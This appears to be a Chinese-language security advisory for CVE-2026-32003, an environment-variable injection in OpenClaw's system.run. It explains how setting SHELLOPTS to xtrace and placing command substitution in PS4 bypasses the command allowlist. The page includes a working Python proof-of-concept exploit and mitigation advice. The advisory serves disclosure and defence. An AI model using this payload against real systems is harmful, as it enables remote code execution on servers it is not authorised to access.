IPBUF安全漏洞报告
English
CVE-2026-32003 CVSS 6.6 中危

CVE-2026-32003 OpenClaw环境变量注入漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32003
漏洞类型
环境变量注入
CVSS评分
6.6 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

环境变量注入远程代码执行OpenClawRCEBashSHELLOPTSCVE-2026-32003

漏洞概述

OpenClaw 2026.2.22之前的版本在system.run函数中存在严重的安全缺陷,即环境变量注入漏洞。由于未能正确处理环境变量,攻击者可以利用SHELLOPTS和PS4变量绕过严格的命令允许列表机制。具有高权限的攻击者若能控制请求范围的环境变量,即可利用bash的xtrace扩展机制,在预期允许的命令主体之外执行任意shell代码。此漏洞虽需高权限触发,但成功利用后可导致系统被完全控制,严重威胁数据的机密性、完整性和可用性。

技术细节

该漏洞的根源在于OpenClaw的system.run函数在执行用户指定的命令时,直接将请求范围内的环境变量传递给了子进程的Shell环境。在Bash中,SHELLOPTS环境变量可以强制开启调试模式(如xtrace),而PS4变量用于定义调试提示符。攻击者通过设置SHELLOPTS为包含'xtrace'的值,强制Shell进入调试模式,并将恶意命令注入到PS4变量中。当system.run执行原本在允许列表中的安全命令时,Shell会先解析环境变量。由于处于xtrace模式,Shell在执行命令前会展开PS4的内容。因为PS4中可以使用命令替换(如$(cmd)),恶意代码便会在此时被解析并执行,从而绕过了针对命令本身的参数校验,实现了在受控环境下的任意代码执行。

攻击链分析

STEP 1
步骤1:权限获取
攻击者需要获取能够调用OpenClaw system.run函数的高权限账号或访问权限。
STEP 2
步骤2:构造载荷
攻击者准备恶意的HTTP请求,在环境变量中设置SHELLOPTS为xtrace,并在PS4中注入要执行的Shell命令。
STEP 3
步骤3:发送请求
攻击者将包含恶意环境变量的请求发送给OpenClaw服务端的system.run接口,并指定一个允许列表内的合法命令(如ls)。
STEP 4
步骤4:触发漏洞
服务端Bash解析环境变量,开启xtrace模式,并在执行允许命令前展开并执行PS4中的恶意代码。
STEP 5
步骤5:执行命令
恶意命令在服务端以运行OpenClaw的用户权限执行,攻击者获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-32003: OpenClaw Environment Variable Injection import requests import sys def exploit(target_url, command): """ Exploit the environment variable injection to execute arbitrary commands. """ # The vulnerable endpoint is assumed to be /api/system/run endpoint = f"{target_url.rstrip('/')}/api/system/run" # Construct malicious environment variables # SHELLOPTS=xtrace: Enables bash debugging mode # PS4: The prompt used for xtrace, we inject a command substitution here payload = { "command": "ls", # Assuming 'ls' is in the allowlist "env": { "SHELLOPTS": "xtrace", "PS4": f"$({command})" # The malicious payload to be executed } } try: print(f"[*] Sending payload to {endpoint}...") # Sending the crafted request response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://localhost:8080 'touch /tmp/pwned'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

影响范围

OpenClaw < 2026.2.22

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员通过系统级访问控制列表(ACL)限制对OpenClaw管理接口的访问,确保只有受信任的管理员IP可以调用system.run功能。同时,可以在操作系统层面(如通过PAM配置或Seccomp过滤器)限制进程的环境变量继承,防止恶意环境变量注入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表